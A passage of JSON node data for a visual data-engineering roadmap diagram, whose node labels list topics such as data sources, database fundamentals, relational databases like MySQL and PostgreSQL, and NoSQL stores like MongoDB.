433.1994674818744 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"1\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"mLsTeUdJluXU_3LgU5WwB\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 23, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ItHNasECb8yVmnArHRyQg\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 377.667592083847, \"y\": 487.8387440056116 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"2\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"mLsTeUdJluXU_3LgU5WwB\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 26, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"m9QUgZeaadQgLvgtOxzHQ\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 377.667592083847, \"y\": 539.275642102932 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"3\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"mLsTeUdJluXU_3LgU5WwB\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 26, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"mLsTeUdJluXU_3LgU5WwB\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 377.667592083847, \"y\": 592.275642102932 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"4\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 26, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"djtAd4xIRBwRgmSkdjASt\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -305.83024547901266, \"y\": 627.8926067918103 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Generation\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"Eb27y_lyYTsfxK5heaMDJ\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 270, \"height\": 57 },\n      \"dragging\": false,\n      \"width\": 270,\n      \"height\": 57,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"VFXaTzzgFWrbtk6aPygRn\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 115.3618127280065, \"y\": 386.6140537443358 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Understand Different Steps\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 225, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"zGKTlMUzhrbVbqpLZBsMZ\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -318.33024547901266, \"y\": 757.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Sources of Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 295, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qRHeaD2udDaItAxmiIiUg\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 84.30794994180778, \"y\": 704.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Database\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1BJGXWax6CONuFkaYR4Jm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 278, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"cxTriSZvrmXP4axKynIZW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 84.30794994180778, \"y\": 757.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 146, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"s-wUPMaagyRupT2RdfHks\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 234.30794994180778, \"y\": 757.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Logs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 127, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"dJZqe47kzRqYIG-4AZTlz\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 84.30794994180778, \"y\": 810.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Mobile Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 146, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"KeGCHoJRHp-mBX-P5to4Y\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 234.30794994180778, \"y\": 810.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"IoT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RspQLpkICyHUmthLlxQ84\"\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 127, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wDDWQgMVBYK4WcmHq_d6l\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -317.83024547901266, \"y\": 810.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Collection Considerations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 294, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"JurdhDtrv44NaRhh2imqY\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -262.83024547901266, \"y\": 976.9132472306062 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Storage\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"Eb27y_lyYTsfxK5heaMDJ\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 184, \"height\": 60 },\n      \"dragging\": false,\n      \"width\": 184,\n      \"height\": 60,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"g4UC0go7OPCJYJlac9w-i\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 982.4132472306062 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Database Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 307, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"kVPEoUX-ZAGwstieD20Qa\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 725.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Normalization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OfH_UXnxvGQgwlNQwOEfS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": { \"width\": 278 },\n      \"measured\": { \"width\": 307, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"SlQHO8n97F7-_fc6EUXlj\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 778.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Modelling Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OfH_UXnxvGQgwlNQwOEfS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": { \"width\": 278 },\n      \"measured\": { \"width\": 307, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"AslPFjoakcC44CmPB5nuw\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 831.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CAP Theorem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OfH_UXnxvGQgwlNQwOEfS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": { \"width\": 278 },\n      \"measured\": { \"width\": 307, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"-VQQmIUGesnrT1N6kH5et\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 884.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"OLTP vs OLAP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OfH_UXnxvGQgwlNQwOEfS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": { \"width\": 278 },\n      \"measured\": { \"width\": 307, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"5KgPfywItqLFQRnIZldZH\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 1073.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Slowly Changing Dimension - SCD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OfH_UXnxvGQgwlNQwOEfS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": { \"width\": 307 },\n      \"measured\": { \"width\": 307, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"k_XSLLwb0Jk0Dd1sw-MpR\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 1126.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Horizontal vs Vertical Scaling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OfH_UXnxvGQgwlNQwOEfS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": { \"width\": 307 },\n      \"measured\": { \"width\": 307, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"OfH_UXnxvGQgwlNQwOEfS\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 1179.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Star vs Snowflake Schema\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": { \"width\": 307 },\n      \"measured\": { \"width\": 307, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"cslVSSKBMO7I6CpO7vG1H\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -278.33024547901266, \"y\": 1121.9415548731956 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Relational Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 215, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"2rRVWPON-o3MvpgZmrU_A\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 113.8618127280065, \"y\": 921.9132472306062 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Learn SQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1BJGXWax6CONuFkaYR4Jm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"style\": { \"width\": 273 },\n      \"measured\": { \"width\": 131, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ilbFKqhfYyykjJ7cOngwx\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 247.8079499418078, \"y\": 921.9132472306062 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Indexing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1BJGXWax6CONuFkaYR4Jm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": { \"width\": 273 },\n      \"measured\": { \"width\": 144, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"1BJGXWax6CONuFkaYR4Jm\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 111.80794994180778, \"y\": 974.9132472306062 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Transactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OfH_UXnxvGQgwlNQwOEfS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": { \"width\": 273 },\n      \"measured\": { \"width\": 279, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"tu-dnF9XRHsKfOSOdBOC7\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 159.30794994180778, \"y\": 1042.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Relational Databases\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 180, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"_bFj6rbLuqeQB5MjJZpd6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 128.8618127280065, \"y\": 1085.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MySQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PJcxM60h85Po0AAkSj7nr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": { \"width\": 103 },\n      \"measured\": { \"width\": 103, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"__JFgwxeDLvz8p7DAJnsc\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 236.3079499418078, \"y\": 1085.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"PostgreSQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YxnIQh6Y5ic795-YsajB8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": { \"width\": 134 },\n      \"measured\": { \"width\": 134, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"p7S_6O9Qq722r-F4bl6G3\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 128.8618127280065, \"y\": 1138.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MariaDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PJcxM60h85Po0AAkSj7nr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": { \"width\": 103 },\n      \"measured\": { \"width\": 103, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"YZ4G1-6VJ7VdsphdcBTf9\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 236.3079499418078, \"y\": 1138.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Aurora DB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YxnIQh6Y5ic795-YsajB8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": { \"width\": 134 },\n      \"measured\": { \"width\": 134, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"PJcxM60h85Po0AAkSj7nr\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 128.8618127280065, \"y\": 1191.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Oracle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YxnIQh6Y5ic795-YsajB8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": { \"width\": 103 },\n      \"measured\": { \"width\": 103, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"YxnIQh6Y5ic795-YsajB8\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 236.3079499418078, \"y\": 1191.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MS SQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"style\": { \"width\": 134 },\n      \"measured\": { \"width\": 134, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"FoExOGqUrU9QvKlz56xz2\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 84.30794994180778, \"y\": 924.4132472306062 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.65 }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 332,\n      \"measured\": { \"width\": 20, \"height\": 332 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"uZYQ8tqTriXt_JIOjcM9_\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -278.33024547901266, \"y\": 1305.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"NoSQL Databsases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 215, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"sGkAOVl3C-xIIAdtDH9jq\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -707.6381872719935, \"y\": 1305.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Document\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": { \"width\": 166 },\n      \"measured\": { \"width\": 166, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"04V0Bcgjusfqdw0b-Aw4W\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -699.6381872719935, \"y\": 1362.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MongoDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-IesOBWPSIlbgvTjBqHcb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"_F53cV3ln2yu0ics5BFfx\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -699.6381872719935, \"y\": 1415.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ElasticSearch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-IesOBWPSIlbgvTjBqHcb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"goL_GqVVTVxXQMGBw992b\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -699.6381872719935, \"y\": 1468.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CosmosDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-IesOBWPSIlbgvTjBqHcb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"-IesOBWPSIlbgvTjBqHcb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -699.6381872719935, \"y\": 1521.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CouchDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": { \"width\": 150, \"height\": 49 },\n      \"measured\": { \"width\": 150, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"fBD6ZQoMac8w4kMJw_Jrd\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -544.6381872719935, \"y\": 1305.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Column\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"sGkAOVl3C-xIIAdtDH9jq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      